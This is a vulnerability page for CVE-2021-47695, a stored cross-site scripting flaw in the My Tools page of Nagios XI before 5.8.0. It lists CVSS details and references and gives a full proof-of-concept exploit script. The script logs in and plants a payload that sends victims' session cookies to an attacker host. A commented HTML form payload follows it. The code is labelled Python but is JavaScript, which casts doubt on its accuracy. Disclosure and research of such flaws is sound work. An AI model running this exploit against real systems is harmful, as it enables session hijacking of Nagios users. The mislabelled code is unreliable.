CVE-2021-47695

Description

Nagios XI versions prior to 5.8.0 are vulnerable to stored cross-site scripting (XSS) via the My Tools page. Insufficient validation or escaping of user-supplied input may allow an attacker to inject and execute arbitrary script in the context of a victim's browser.

CVSS Details

CVSS Score

5.4

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:nagios:nagios_xi:*:*:*:*:*:*:*:* - VULNERABLE

Nagios XI < 5.8.0

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

// CVE-2021-47695 PoC - Stored XSS in Nagios XI My Tools Page
// Author: VulnCheck
// Target: Nagios XI < 5.8.0

const axios = require('axios');

async function exploitCVE202147695() {
    const target = 'http://target-nagios-xi.local';
    const username = 'attacker';
    const password = 'password123';
    
    // Step 1: Login to Nagios XI
    const loginUrl = `${target}/nagiosxi/login.php`;
    const loginData = new URLSearchParams({
        username: username,
        password: password,
        'loginButton': 'Login'
    });
    
    const loginResponse = await axios.post(loginUrl, loginData, {
        headers: {
            'Content-Type': 'application/x-www-form-urlencoded'
        },
        maxRedirects: 0,
        validateStatus: (status) => status === 302
    });
    
    const cookies = loginResponse.headers['set-cookie'];
    console.log('[+] Logged in successfully');
    
    // Step 2: Inject XSS payload into My Tools page
    const myToolsUrl = `${target}/nagiosxi/config/mytools.php`;
    const xssPayload = '<script>fetch("https://attacker.com/steal?c="+document.cookie)</script>';
    
    const toolData = new URLSearchParams({
        'tool_name': 'Malicious Tool' + xssPayload,
        'tool_url': 'http://malicious-site.com',
        'add_tool': 'Add Tool'
    });
    
    await axios.post(myToolsUrl, toolData, {
        headers: {
            'Cookie': cookies.join('; '),
            'Content-Type': 'application/x-www-form-urlencoded'
        }
    });
    
    console.log('[+] XSS payload injected successfully');
    console.log('[+] Payload will execute when any user visits My Tools page');
}

exploitCVE202147695().catch(console.error);

// Simple HTML PoC for manual testing:
// <html>
// <body>
// <form action="http://target/nagiosxi/config/mytools.php" method="POST">
//   <input type="hidden" name="tool_name" value="<script>alert(document.domain)</script>">
//   <input type="hidden" name="tool_url" value="http://evil.com">
//   <input type="hidden" name="add_tool" value="Add Tool">
//   <input type="submit" value="Exploit">
// </form>
// </body>
// </html>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2021-47695
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2021-47695
[3] CVE Details https://www.cvedetails.com/cve/CVE-2021-47695/
[4] VulDB https://vuldb.com/cve/CVE-2021-47695
[5] https://www.nagios.com/changelog/nagios-xi/
[6] https://www.vulncheck.com/advisories/nagios-xi-xss-via-my-tools-page

Raw JSON Data

JSON

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